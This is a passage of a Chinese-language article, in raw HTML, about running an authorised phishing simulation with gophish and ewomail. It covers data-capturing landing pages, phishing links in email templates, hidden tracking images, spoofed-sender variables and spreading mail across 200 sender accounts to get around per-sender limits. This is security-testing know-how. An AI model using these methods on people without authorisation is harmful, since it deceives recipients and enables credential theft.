normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.38221153846153844" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=8f03bc77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyQUh7H7kibpNJbecpCtKmsbTvcPdBykmsPHDfibwiaiaQC3GdBUCy9OcqPg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.43028846153846156" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=41dc7ed6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYy5aY5d0Xx8nVTAjEkGFQdHK2VBicPU4vpBibCmPTrnkHOR3rKhnP52fYA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">另外Landing Page还可以选择是否抓取目标提交数据行为、抓取目标提交的密码和网页跳转等功能，一般情况下进行演练的客户都希望能过抓取目标提交数据的行为，但不能抓取目标的密码，这点要慎重。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5961538461538461" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=02a0ef6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYy1ApnsVf9wSVFLtaSBtaHBUs1QE7uCh2TCAV9oUcE2cbibqCicaEA6ib9Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">8、Email Templates，钓鱼邮件模板，即向目标发送的邮件模板。同样支持通过<br/>Import Templates导入和手动编辑HTML。如果选择Import Templates的话，首先需要一个邮件模板，然后以eml格式导出，再将里面的数据复制到Import Templates中：</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4519230769230769" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=f10aeb09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyb4M7284V3ibecmssY8Sh3EiaGzia6CCAYM0MYUm32uR3lgUWmp825g5pA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4639423076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=7022cb3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyNdfNHzYUWzUSd3icR7elnJjQYE9qgAIf4e08BMzqXW0zoNwZC17LB2w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">点击Change Links to Point to Landing Page可以将原邮件中的链接改为监听的钓鱼链接，如下通过查看html源码我可以发现已经将<span> </span><a href="http://www.baidu.com" target="_blank">http://www.baidu.com</a><span> </span>的跳转改为了钓鱼网页<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">{{.URL}}</code>，<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">{{.URL}}</code>是官方提供的参数，是gophish监听的钓鱼网页链接。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6634615384615384" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=bfa9b814&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyqgkQ3EC3fnduxcGf5Yho2ciaBsI8lku0D89fDAjgF8kLmicfHxwyj1PQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">另外如果要监听用户是否打开邮件，可以勾选<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Add Tracking Image</code>，通过HTML源码可以发现源码中有<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">{{.Tracker}}</code>，<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">{{.Tracker}}</code>也是官方提供的参数，这实际上是在邮件中添加了一个隐藏的图片。可以发送一个测试邮件，然后在打开邮件的时候监听网络请求，发现在打开邮件的同时请求了<span> </span><a href="https://ip:8090/track?rid=dsyJFNb" target="_blank">https://ip:8090/track?rid=dsyJFNb</a><span> </span>，这就是插入邮件中用于监听邮件是否被打开的隐藏图片。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2725806451612903" data-s="300,640" style="" data-type="png" data-w="2480" src="https://wechat2rss.xlab.app/img-proxy/?k=b3f4799f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYy3m1MBQq4iaO5n4apHYu8Pwvia5wgZmJiaKdXEboGLI3WcMMic8xss5ACOQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">这里有一个小坑，如果在gophish的<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">config.json</code>中<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">phish_server</code>设置<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">use_tls</code>为<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">false</code>，即监听的钓鱼网页不启用https的，在某些邮件服务器打开邮件的时候，<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">{{.Tracker}}</code>链接显示的是http，但是自动跳转的是https，并且有概率会请求失败，这就导致数据统计有一定的不准确性。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.21319388576025744" data-s="300,640" style="" data-type="png" data-w="2486" src="https://wechat2rss.xlab.app/img-proxy/?k=61252c69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyM9Y67eicuwzeZvkBTtPKMGJXSvgmR7qP9IMyJQAzMMNDHicryBKOice3g%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">另外甲方特别强调邮件中的链接要显示指定的url如<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;"><a href="http://mail.xxxx.cn:8090" target="_blank">http://mail.xxxx.cn:8090</a></code>，而不是用“点击此处”等关键字来做跳转，这里可以在url后加入Rid值如<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;"><a href="http://mail.xxxxxxxx:8090/?rid=Bf1Thnm" target="_blank">http://mail.xxxxxxxx:8090/?rid=Bf1Thnm</a></code>，这样做的好处是防止有些目标直接复制url到浏览器中点开而不是直接点击链接，上文也说过，添加rid值一是可以正常访问钓鱼网页，二是每个Rid值对应每个目标用户，即使他是复制URL访问的也能监测到他的访问行为。可以使用官方提供的参数<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">{{.RId}}</code>来实现这个功能。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.43509615384615385" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=45290723&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYylVDMK5ksia3G7UXoXMV6WY6qLdSkWojmEic3AwC6F9wZNar0JNwicIOLQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.38221153846153844" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=d0aa5cf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyLtqLOTbeAwnVwCDA5uia9yrF9QD1nz2yeAiasHxehibCLgWbiaAae6pmBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">官方提供的其他参数如下：</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><table><thead><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><th style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;word-break: break-all;" width="162">Variable</th><th style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="365">Description</th></tr></thead><tbody><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.RId}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The target&#39;s unique ID</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.FirstName}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The target&#39;s first  name</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.LastName}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The target&#39;s last name</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.Position}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The target&#39;s position</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.Email}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The target&#39;s email  address</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.From}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The spoofed sender</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.TrackingURL}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The URL to the  tracking handler</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.Tracker}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">An alias for</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.URL}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The phishing URL</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="73">{{.BaseURL}}</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;" width="366">The base URL with the  path and rid parameter stripped. Useful for making links to static files.</td></tr></tbody></table><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">9、Users &amp; Groups，目标用户组，可以通过直接下载官方指定模板，然后填写数据<br/>上传即可。Campaigns用于创建任务和监测任务，可以通过点击Complete来结束任务。Dashboard是整个钓鱼演练的进展情况。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.40987654320987654" data-s="300,640" style="" data-type="png" data-w="810" src="https://wechat2rss.xlab.app/img-proxy/?k=af97ecd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyuJaHBjJOWu2Ixv8sprgfBNvIO0cvHAuiatG16HFw9AoiaNlZXEFdECYw%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">甲方需要对14400个目标进行钓鱼演练，第一次并没有发现他们的钓鱼服务<br/>器会对邮件发送人的发送数量进行判断，如果同一个发送人一天当中发送的邮件数量过多则会拒收，这就导致第一次发送邮件几乎全失败。后来为了保险起见，决定将14400个目标分为200份，然后在ewomail上创建200个发件人并添加到gophish，这样每个人只需要发送72封邮件。当然，这个工作量十分巨大，还好gophish官方开放了API，因此可以通过脚本快速添加发件人、目标组及新建发件任务。如下例子：</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">批量创建指定csv文件中的sending profile</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.1778846153846154" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=db146fe6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyKzwGnUia2gfkhFNicKEEpsPeRDfibwTjh0s7mmY58zKaefB2ts7N2xKMA%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">批量创建指定目录下csv文件中的groups<br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.125" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=5e8af96c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyQic2mclVCgRgYdVe6hOXkYIFksSMmu2o9J2Gibhm0j7rNLeUJEh4rosA%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">批量创建指定csv文件中相关配置的钓鱼任务Campaigns<br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.10817307692307693" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=08553c43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyemqVo4D9Hu33tobfeNd5EpiaxpAV3RGO8icwmY80HIOYJHepnrLicGrfA%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">批量创建好钓鱼任务后，等演练时间结束批量导出结果，一场数量庞大的钓鱼演练就此完美结束。<br/></p><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">0x05 相关链接</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">1.ewomail:<span> </span><a href="http://doc.ewomail.com/docs/ewomail/install" target="_blank">http://doc.ewomail.com/docs/ewomail/install</a><br/>2.gophish：<a href="https://github.com/gophish/gophish/releases" target="_blank">https://github.com/gophish/gophish/releases</a><br/>3.参考：<a 